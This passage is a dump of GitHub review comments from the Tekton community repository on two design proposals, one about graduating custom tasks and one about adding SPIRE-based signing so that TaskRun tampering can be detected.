"comment_id": 729428701, "created_at": "2021-10-15T00:02:23Z", "line": 347, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "NIT: not merged yet - https://github.com/tektoncd/experimental/pull/724", "comment_id": 730763687, "created_at": "2021-10-18T10:00:24Z", "line": 92, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "Pipeline loops are actively used - we might decide for the integrated scenarios to go for a combination of pipeline in pipeline and task loops - but we could still have pipeline loops getting to stable or packaged if they provide capabilities that are not available otherwise.", "comment_id": 730765700, "created_at": "2021-10-18T10:02:51Z", "line": 92, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "NIT - similar for the dashboard.\r\n\r\nIt would be nice for both CLI and dashboard to have a plugin mechanism that allows custom task developers to implement the respective CLI and Dashboard components. ", "comment_id": 730767449, "created_at": "2021-10-18T10:05:10Z", "line": 121, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "Does this mean two contributing companies or to contributing individuals?", "comment_id": 730768462, "created_at": "2021-10-18T10:06:39Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "NIT: might want to include `dogfooding` as one of the users", "comment_id": 730770056, "created_at": "2021-10-18T10:08:39Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "If the custom task includes a CRD (e.g. `TaskLoop`) - I think it would make sense then for that CRD to have a beta API and for the controller to store beta only in etcd (like for Tekton main API beta today). ", "comment_id": 730774762, "created_at": "2021-10-18T10:15:03Z", "line": 204, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "I'm not 100% convinced about tracking the custom task stability level via updating the TEP.\r\n\r\nChanging the stability level of a custom task will require some work, in some cases some design work too (when getting to integrated for sure) - so perhaps a new TEP would be a better option in that case.\r\n\r\nI think it would be useful to maintain also a table / page of available custom tasks, with their current stability level, link to source + README and link to TEP. This should be ideally available on tekton.dev/docs.\r\nOnce a custom task is integrated the docs will be integrated too, so we could remove it from the table.", "comment_id": 730790658, "created_at": "2021-10-18T10:37:29Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "I don't think we should change the TEP here.\r\nWhen we want to change pipeline we create a TEP (for major features) or create and issue / PR and update the documentation accordingly. I think it should be the same for custom tasks. If we add features / modify them - we should update their docs accordingly. \r\n\r\nI don't think the TEPs are reference documents of how Tekton works - they are design documents.", "comment_id": 730794348, "created_at": "2021-10-18T10:42:43Z", "line": 239, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "The change in git repository might not be strictly required - ownership can be assigned also in the original repo.\r\nHaving it in the main repo would make the release process a bit easier - because the code could be tagged together with a single tag. The release process for pipeline will have to be updated in any case to add the the release of the new folder.", "comment_id": 730800508, "created_at": "2021-10-18T10:51:34Z", "line": 254, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "This requirement might be a bit difficult to quantify - perhaps we could say that there should be at least two (or another number) known users of it? ", "comment_id": 730801946, "created_at": "2021-10-18T10:53:37Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "I see now below that the integrated step is indeed tracked via a new TEP.\r\n", "comment_id": 730803662, "created_at": "2021-10-18T10:56:03Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "I'm not convinced about deprecating here: the stable / packaged custom task is a beta API (possibly more). The packaged one is readily available to users with no extra installation / configuration steps.\r\n\r\nThe alpha integrated functionality instead is not covered by the beta API stability policy, and it requires a feature flag to be enabled (which enables all other alpha features too).\r\n\r\nWe should deprecate the stable/packaged task once the integrated one has a level of API stability that matches that of the stable/packaged one.", "comment_id": 730806699, "created_at": "2021-10-18T11:00:28Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "I think this could be marked as `implementable`.", "comment_id": 730808586, "created_at": "2021-10-18T11:03:12Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "marked it as `implementable` \ud83d\ude01 ", "comment_id": 733757573, "created_at": "2021-10-21T14:45:10Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "agreed on using pipeline in pipeline and task loops to provide pipeline loops, but excited to see more custom tasks adoption and contributions! ", "comment_id": 733759118, "created_at": "2021-10-21T14:46:43Z", "line": 92, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "good catch, added it to the non-goals", "comment_id": 733759529, "created_at": "2021-10-21T14:47:07Z", "line": 121, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "clarified that i meant at least two individual contributors because:\r\n- the reason for this is to ensure there's someone who can review changes to the custom task\r\n- we have some contributors who are independent (not part of a company) and we wouldn't want to exclude them\r\n- a custom task may have been implemented by a contributors from the same company to address their specific need, then shared with the community, so it's okay for them to own it as an experimental project - but it would get external inputs in graduation to stable and expanded ownership from other companies ", "comment_id": 733777915, "created_at": "2021-10-21T15:05:31Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "yes yes, added it \ud83d\udc4d\ud83c\udffe ", "comment_id": 733778795, "created_at": "2021-10-21T15:06:28Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "agreed, added to the TEP - thank you! \ud83d\ude00 ", "comment_id": 733796147, "created_at": "2021-10-21T15:25:31Z", "line": 204, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "makes sense, updated the TEP such that we'd need a TEP for each change \r\n\r\ngreat idea to track stability through documentation, added this to the TEP - it will also help with making the available custom tasks more discoverable to users ", "comment_id": 733802846, "created_at": "2021-10-21T15:33:01Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "yes yes, was trying to solve for the repetition of motivation for the custom task's motivation but i suppose each change can be focused on its own motivation and not the broader goal of the custom task -- so yea, changed it such that we need a new tep for each change ", "comment_id": 733803869, "created_at": "2021-10-21T15:34:21Z", "line": 239, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "yes yes, added the point about release process being easier \ud83d\udc4d\ud83c\udffe ", "comment_id": 733805630, "created_at": "2021-10-21T15:36:51Z", "line": 254, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "was leaving it to the discretion of pipelines owners to decide whether it's necessary based on use cases and arguments presented, but happy to include that we have at least two known users", "comment_id": 733807679, "created_at": "2021-10-21T15:39:53Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "was thinking of deprecation as a signal of the direction we're going, but makes sense to wait until the integration at the same stability level to deprecate the custom task -- updated the tep", "comment_id": 733824299, "created_at": "2021-10-21T15:58:19Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "I think one main aspect is that, being in experimental, it's tricky to get a release out. If we were able to easily release custom task, with \"stuck in time\" payloads, it would be a little bit more decent for user to use them (but still, doesn't prevent from us to define a process)", "comment_id": 735738929, "created_at": "2021-10-25T15:53:12Z", "line": 67, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "I am not sure what this means ? We aim to provide a list of `Custom Tasks` that are officially supported ? \r\nIf yes, I find it weird as this will change over time.", "comment_id": 735740007, "created_at": "2021-10-25T15:54:26Z", "line": 71, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "This gives the impression that all `Custom Tasks` will or need to end-up in *Tekton Pipelines API* to be seen as stable and really usable, which, I think, is not what we should aim for.", "comment_id": 735741797, "created_at": "2021-10-25T15:56:28Z", "line": 79, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "From my point of view, `Custom Tasks` do not need to *be shipped with Tekton Pipelines* to reach \"stability\". Some might, but most wouldn't need to. To reach stability, they need to be able to do releases as they want and have a stable API (`**/v1` for example).\r\nBe shipped as part of *Tekton Pipelines* (or even be \"phased out\" in the API) is yet another level of *stability* or integration.", "comment_id": 735745229, "created_at": "2021-10-25T16:00:13Z", "line": 111, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "(note: to be able to do releases, they might *just* need the proper infra *or* their own repository)", "comment_id": 735745669, "created_at": "2021-10-25T16:00:41Z", "line": 111, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "I have that weird feeling we are talking stability and graduation on the same level. Nothing prevents any `Custom Task` to be stable, *today*, on `tektoncd/experimental` or outside of it. As stated above, you just need a stable API, most likely a k8s-like api policy *some* automated tests set-up *and* a way to do release \u2014 but all this is already achievable today.", "comment_id": 735748621, "created_at": "2021-10-25T16:04:18Z", "line": 129, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "For me graduation should be more : it's experimental and thus in `tektoncd/experimental`, it is less experimental (but can still be stable \u2014 in API sense of it \u2014 or not) and thus gets it's own repository. And *then* is it packaged as part of Tekton Pipeline or not ; and finally is it integrated (but then, it's not a Custom Task any more, and the Custom Task itself could/would probably become deprecated then).", "comment_id": 735764823, "created_at": "2021-10-25T16:23:44Z", "line": 144, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "This works *only* for the one we (Tekton community) know and kind-of maintain, right ? A bit similar to above, for me *stability* is not necessarily the right word here, it would be more a \"level\" of integration with Tekton Pipeline maybe ?\r\nLong-term the catalog could also \"hold\" an *index* of Custom Task but this is most likely out of scope of this TEP anyway.", "comment_id": 735768324, "created_at": "2021-10-25T16:28:07Z", "line": 155, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "Do we also assume they would live in `tektoncd/experimental` as well ? If yes, then, we should consider having it written here.", "comment_id": 735769148, "created_at": "2021-10-25T16:29:13Z", "line": 162, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "Any reason to limit ourselves to \"Continuous Delivery use cases\" ? I would assume more that the admission requirements would be \"Tekton community (as a whole) sees value on experimenting with it and potentially supporting this in the mid/long-term future\" \u2014 otherwise, Custom Task can live outside of the tekton org.", "comment_id": 735772404, "created_at": "2021-10-25T16:33:24Z", "line": 169, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "Nit and open question there : API WG or Pipeline WG ?", "comment_id": 735772934, "created_at": "2021-10-25T16:34:05Z", "line": 176, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "Do we have this for all current Custom Tasks ? This would add a \"harder\" barrier of entry for experimental project ;\u00a0as if we ask for a TEP to be able to get into `tektoncd/experimental`, we would have to require it for all experimental project, wouldn't we ?", "comment_id": 735785910, "created_at": "2021-10-25T16:50:52Z", "line": 190, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "I am a little bit dubious about this. As stated above, I would *assume* to be usable and dependable, `Custom Task` need releases. This is indeed doable as part of a \"mono-repo\" of Custom Tasks, but it might be a little bit weird. \r\n\r\n- How do we tag release of each custom tasks ? Release/Maintenance branches ?\r\n- Do we release all custom tasks at the same time ?\r\n- `tekton/pipelines` owners would be owners of those if we aim to integrate it directly in Tekton Pipelines (as part of the API\u00a0or shipped directly), but should this be a requirement ? I see a lot of value to have custom tasks supported by the community, that will *never* be shipped as part of tektoncd/pipeline (but could be, in option, as part of tektoncd/operator for example), nor be integrated as part of the API.\r\n\r\nIf we consider them valuable for the community and agree on supporting it (a given custom task), what prevent us from having it's own git repository under the tekton org (or under a `tekton-task` or `tekton-extension`, \u2026 org) ?", "comment_id": 735792704, "created_at": "2021-10-25T16:59:21Z", "line": 202, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "Those requirement are, I think, valid for \"shipping\" it as part of tektoncd/pipeline releases, but otherwise, I don't see a reason why we would require beta API for having a Custom Task we want to graduate \u2014 graduation being seen here as : we (tekton community) aim to maintain, enhance and support this Custom Task over time.", "comment_id": 735795693, "created_at": "2021-10-25T17:03:30Z", "line": 210, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "+:100:", "comment_id": 735795976, "created_at": "2021-10-25T17:03:53Z", "line": 220, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "This goes with the rest of the assumptions, but, similarly, I don't see any \"obvious\" reason to decide a release cadence for a Custom Task.", "comment_id": 735796821, "created_at": "2021-10-25T17:05:06Z", "line": 238, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "What kind of changes are we talking about here ? API changes, or *any* changes (bugfix, refactoring, behaviour, \u2026) ?", "comment_id": 735797384, "created_at": "2021-10-25T17:05:52Z", "line": 239, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "We should try to put the *operator* more into our stories \u2014 but that's on us (Operator owners). It is relatively easy to ship a \"tiny-bit\" opiniated setup of the tekton components with the Operator. We could decide to package Custom Task as part of the Operator so that we don't need to add more complexity to the Pipeline release process and payload. \r\n\r\nFor example, if we add a given Custom Task to the pipeline releases, it will be installed by default even \u2014 consuming resources \u2014 even if the user has no need for it (because its pipeline usage doesn't require it in any way). A user would have to \"manually\" remove the custom task part, and do that on each updates \u2014 or we would have to provide different payloads. The operator here is at a slightly higher level and allow to easily setup and manage Pipeline instance as well as other components, Custom Task being seen as components here.", "comment_id": 735800268, "created_at": "2021-10-25T17:09:49Z", "line": 252, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "That's a good point, but, probably a question of perspective, I wouldn't put this in a *Cons* (or a very limited *Cons*). If the Operator becomes the way to easily install and managed a Tekton instance \u2014 Pipeline being just one, **main**, part of the overall setup \u2014 then it's not a Cons, it just is.", "comment_id": 735803356, "created_at": "2021-10-25T17:13:57Z", "line": 417, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "> Nothing prevents any Custom Task to be stable, today, on tektoncd/experimental or outside of it.\r\n\r\none caveat is that if the authors of the Custom Task want the custom task to graduate, they may need to change the API, so in that sense, even if the Custom Task has been declared GA within experimental, the API might need to change once it's considered for graduation. So to me that makes it feel like stability and graduation are at least related - or can influence each other?", "comment_id": 735987176, "created_at": "2021-10-25T21:39:35Z", "line": 129, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "vdemeester", "body": "They defenitely can influence each other, but they are not cause/consequence. If by graduation we mean having its own repository, maybe they wouldn't change their API at all. Also, if they went `v1beta1` or `v1` on the API while being in experimental, I don't really see why they would want to make breaking change in there (because they went beta or stable for a reason).", "comment_id": 736163194, "created_at": "2021-10-26T05:27:16Z", "line": 129, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "does the entrypoint do this, or is this maybe the Pipelines controller (image)?\r\n\r\nwondering b/c the tekton pipelines controller is usually responsible for a) seeing a taskrun, b) creating a pod for that task run, and THEN c) the entrypoint image/entrypointer become involved once the steps start executing", "comment_id": 721592290, "created_at": "2021-10-04T17:58:44Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": null, "body": "What would happen in the event of a failed verification?", "comment_id": 723396544, "created_at": "2021-10-06T15:28:21Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": null, "body": "What would Pipelines need to do here - would it discover the SPIRE endpoint somehow or would the operator/platform have pre-configured it via a ConfigMap or similar?", "comment_id": 723412724, "created_at": "2021-10-06T15:44:57Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": null, "body": "Is a new SVID generated for every TaskRun?", "comment_id": 723413089, "created_at": "2021-10-06T15:45:20Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "vdemeester", "body": "Is it completely true ? Could we disallow \"most\" of the mutation (except `spec.status`) to limit this ?\r\nThat said, you could do a replace the `TaskRun` but then it would re-execute the whole thing.", "comment_id": 723891537, "created_at": "2021-10-07T06:47:49Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "vdemeester", "body": "The entypoint image is \"used\" as the first init container to inject itself. I guess this sentence is about changing the behavior of entrypoint to request a signature \u2026 right ?", "comment_id": 723994772, "created_at": "2021-10-07T09:09:49Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "ooo that's an interesting idea - would we be able to limit it enough such that the controller could still change the `status` but nothing else could?", "comment_id": 724373156, "created_at": "2021-10-07T17:05:43Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "Ah I see, thanks for clarifying @bobcatfish !\r\n\r\nSo in my prototype only the entrypointer needs to be modified because the prototype only signs `results` (which I believe are read in the entrypointer image). But I don't think the prototype is sufficient; we'll eventually want to sign the entire `TaskRun` yaml (for \"nonfalsifiable provenance\" in SLSA) -- I'm guessing that can only happen. in the controller image?", "comment_id": 724391432, "created_at": "2021-10-07T17:31:17Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "Chains would basically stop there and not sign the TaskRun/image or generate provenance for it. Basically, this way if a TaskRun is modified before Chains gets to it then Chains is able to find out about it and stop signing.", "comment_id": 724392115, "created_at": "2021-10-07T17:32:13Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "I believe the SPIRE endpoint would need to be mounted into the controller via a `hostPath` volume mount. I'm not sure what the best way to install this change is yet -- I'm considering having an \"enable-spire\" task that could modify the controller config to include the new volume mount.\r\n\r\nI still need to add this section to the TEP, it's coming! ", "comment_id": 724392872, "created_at": "2021-10-07T17:33:20Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "Yup, I believe so.", "comment_id": 724393007, "created_at": "2021-10-07T17:33:32Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "> ooo that's an interesting idea - would we be able to limit it enough such that the controller could still change the status but nothing else could?\r\n\r\nif that's an option then that could be a pretty promising alternative solution", "comment_id": 724393641, "created_at": "2021-10-07T17:34:37Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "afrittoli", "body": "A cluster administrator could do anything, including removing tekton webhooks.\r\nThis is where SPIFFE would help as the taskrun would be signed by through SPIFFE.\r\nWould it be possible for an attacker to impersonate Tekton entrypoint / controller and request SPIFFE the signature for a malicious `TaskRun`?", "comment_id": 724875979, "created_at": "2021-10-08T09:59:46Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "> Would it be possible for an attacker to impersonate Tekton entrypoint / controller and request SPIFFE the signature for a malicious TaskRun?\r\n\r\nYup that would be possible. We'd suggest using an admission controller that verifies signatures on Tekton images to prevent an attack like that. ", "comment_id": 725321417, "created_at": "2021-10-08T21:58:24Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "@bobcatfish do these steps seem reasonable to you? i haven't prototyped this yet but i just wanted to check first :)", "comment_id": 725340426, "created_at": "2021-10-08T22:31:32Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "is it possible to dig a bit more into what is being attested?\r\n\r\nfrom my understanding I think the goal is to attest the pod (or even node?) that the pipelines controller expects the TaskRun to be run on?", "comment_id": 735993971, "created_at": "2021-10-25T21:52:41Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "is it possible to dig a bit more into what \"modified\" means here? the taskrun status will be modified (by the pipelines controller) as it executes, including updating the statuses of steps, taskresults, etc.", "comment_id": 735994289, "created_at": "2021-10-25T21:53:17Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "is it possible to explain in the TEP in more detail what an SVID x509 certificate for a TaskRun is?", "comment_id": 735994892, "created_at": "2021-10-25T21:54:26Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "what dependencies will the pipelines controller need to take on to make this work?", "comment_id": 735995539, "created_at": "2021-10-25T21:55:37Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "If the code to support this will be built into Tekton Pipelines directly, another option would be to start publishing an alternate release.yaml that contains this configuration by default", "comment_id": 735996146, "created_at": "2021-10-25T21:56:42Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "we'll also need test clusters that have both pipelines + chains - at the moment end to end tests for pipelines don't include any other Tekton projects; we might need to change that to test this", "comment_id": 735996600, "created_at": "2021-10-25T21:57:38Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "might be worh also including some tests that verify that modifications to the taskrun happening outside of the expected flow are rejected by Chains", "comment_id": 735996803, "created_at": "2021-10-25T21:58:04Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "tried to clarify! i think we want to attest that the entire TaskRun wasn't modified (that way when we generate provenance from the TaskRun, we can say that it's non-falsifiable) ", "comment_id": 752305237, "created_at": "2021-11-18T14:39:08Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "yup, changed to say \"Chains should be able to verify a TaskRun wasn't modified after execution via the signature and SVID provided\"", "comment_id": 752306072, "created_at": "2021-11-18T14:39:59Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "added in a section for \"SPIRE Concepts\", let me know if you'd like more detail there!", "comment_id": 752306430, "created_at": "2021-11-18T14:40:20Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "on second thought i actually don't think this should be an issue -- chains frequently signs entire TaskRun yamls and stores them as annotations. ", "comment_id": 752307215, "created_at": "2021-11-18T14:41:03Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "cool, added that in as an option", "comment_id": 752307469, "created_at": "2021-11-18T14:41:18Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "nice!!! i really appreciate the extra detail :D", "comment_id": 757109604, "created_at": "2021-11-25T20:05:20Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "i am almost definitely overthinking this, but what if the TaskRun is modified during execution? it sounds like that's out of scope?", "comment_id": 757109773, "created_at": "2021-11-25T20:05:50Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "\ud83c\udf89 ", "comment_id": 757110430, "created_at": "2021-11-25T20:08:14Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "as an extra detail, related to my question above about modifications during execution, afaik the pipelines controller will be updating the TaskRun status as the TaskRun executes - I'm wondering if we want to be signing the TaskRun with each modification (and maybe even verifying that nothing has changed since the last modification??)\r\n\r\nim not sure if im going too far but it seems like if we dont do that, something else could modify the taskrun status during execution, and the pipelines controller would just incrementally add to those changes, only signing at the end?", "comment_id": 757111266, "created_at": "2021-11-25T20:11:01Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "is it possible to describe any additional dependencies the Tekton Pipelines controller will need to take on? e.g. libraries for interacting with SPIRE, signing, etc.", "comment_id": 757112981, "created_at": "2021-11-25T20:17:03Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "nit: pipelien", "comment_id": 757113727, "created_at": "2021-11-25T20:19:46Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "that makes sense, and would probably be good to have. i'll add in some thoughts into the proposal!\r\n\r\n", "comment_id": 758723410, "created_at": "2021-11-29T20:47:24Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "instead of signing the TaskRun with each modification, do you think it could make sense to store the current TaskRun in memory and compare it to the actual thing? maybe something like this:\r\n\r\n1. store the initial TaskRun in memory\r\n2. when we want to modify the running TaskRun, compare the running TaskRun to the one in memory.\r\n3. if it doesn't match, then we never request an SVID and skip any SPIRE signing altogether\r\n4. if it does match, then we modify the TaskRun and store the new modified version in memory, and repeat steps 2-4 until taskrun completes ", "comment_id": 759434843, "created_at": "2021-11-30T16:09:55Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "pxp928", "body": "We should also add in that we need to do Node attestation before workload attestation can occur. [K8s Node Attestor](https://github.com/spiffe/spire/blob/main/doc/plugin_server_nodeattestor_k8s_sat.md) could be used. If lets say the user has a TPM, we can use a [TPM Node Attestor](https://github.com/boxboat/spire-tpm-plugin)", "comment_id": 760336904, "created_at": "2021-12-01T16:10:20Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "added!", "comment_id": 760366489, "created_at": "2021-12-01T16:41:31Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "nit: looking at [the spire k8s workload attestor](https://github.com/spiffe/spire/blob/main/doc/plugin_agent_workloadattestor_k8s.md) and the bullets that follow this, it sounds like the workload would be the executing pod and technically not the taskrun or result - i.e. SPIRE can issue the certificates that are used to sign the taskrun yaml and result, but SPIRE itself doesn't interact with these entities at all (or does SPIRE do the actual signing as well?)\r\n\r\nthis is probably just a wording thing, maybe something like:\r\n\r\n> SPIRE can be used to request certificates (SVIDs) for a given k8s workload and can use these certificates to create signatures for the data we need to verify, i.e. an entire TaskRun yaml and results\r\n", "comment_id": 768031162, "created_at": "2021-12-13T18:51:06Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "nit s/Tasks/TaskRuns ?", "comment_id": 768034377, "created_at": "2021-12-13T18:55:21Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "would this work if the controller gets rescheduled/restarted? im not sure we can rely on the state in memory - if we really want to guarantee the state of the TaskRun I think we might need to sign the entire contents and verify them every time we read them (i.e. on every reconcile loop)? @_@ (if so i think we need to explore the performance implications)\r\n\r\n(also i think with enough TaskRuns, storing the state of all executing TaskRuns in memory might make us run into memory limitations on the controller?)", "comment_id": 768034958, "created_at": "2021-12-13T18:56:08Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "i think we might want to include some requirements around supporting setups where it is expected that TaskRuns might be modified by something other than the Pipelines Controller, e.g.:\r\n\r\n* A more common case where labels and annotations might be updated by other services\r\n* A less common case where mutating admission controllers are intentionally changing the TaskRun (e.g. injecting steps - maybe we don't need to consider this at the level of the TaskRun tho, but if we want to extend this approach to PipelineRuns I think we would - e.g. SolarWinds is injecting tasks into Pipeline execution to do things like image scans)", "comment_id": 768038822, "created_at": "2021-12-13T19:01:47Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "i think it could be worth being specific about when this would happen - results will be emitted as containers execute, so I'm guessing the entrypointer would be signing each result before writing it to the termination message (or wherever the result ends up)", "comment_id": 768041687, "created_at": "2021-12-13T19:06:09Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "wlynch", "body": "`hostPath` is likely going to cause some issues with certain environments (particularly [OpenShift](https://github.com/spiffe/spire/issues/2452) and [GKE 